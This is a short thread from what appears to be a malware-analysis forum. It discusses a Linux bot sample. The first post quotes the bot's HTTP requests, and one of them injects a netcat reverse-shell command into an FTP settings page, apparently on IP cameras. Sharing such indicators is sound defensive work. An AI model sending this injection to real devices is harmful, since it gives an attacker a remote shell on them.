Linux Unclassified Bot

Forum for analysis and discussion about malware.

Linux Unclassified Bot

Postby K_Mikhail » Sat Jul 15, 2017 7:42 pm

Hello!

Found on: https://detux.org/report.php?sha256=8c5 ... decdb4751a

Code: Select all
GET /set_ftp.cgi?loginuse=
&loginpas=
&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=%24%28nc+11.11.11.111+1234+-e+%2Fbin%2Fsh%29 HTTP/1.0
GET /ftptest.cgi?loginuse=
GET login.cgi HTTP/1.0
login
abcdefghijklmnop012345


[0/56]: https://www.virustotal.com/file/8c56e29 ... /analysis/
K_Mikhail
 
Posts: 41
Joined: Tue Apr 13, 2010 4:13 pm
Reputation point: 15

Re: Linux Unclassified Bot

Postby maddog4012 » Mon Jul 24, 2017 12:55 pm

Sample attached
You do not have the required permissions to view the files attached to this post.
User avatar
maddog4012
 
Posts: 54
Joined: Mon Aug 04, 2014 6:53 pm
Reputation point: 47


Return to Malware

Who is online

Users browsing this forum: No registered users and 11 guests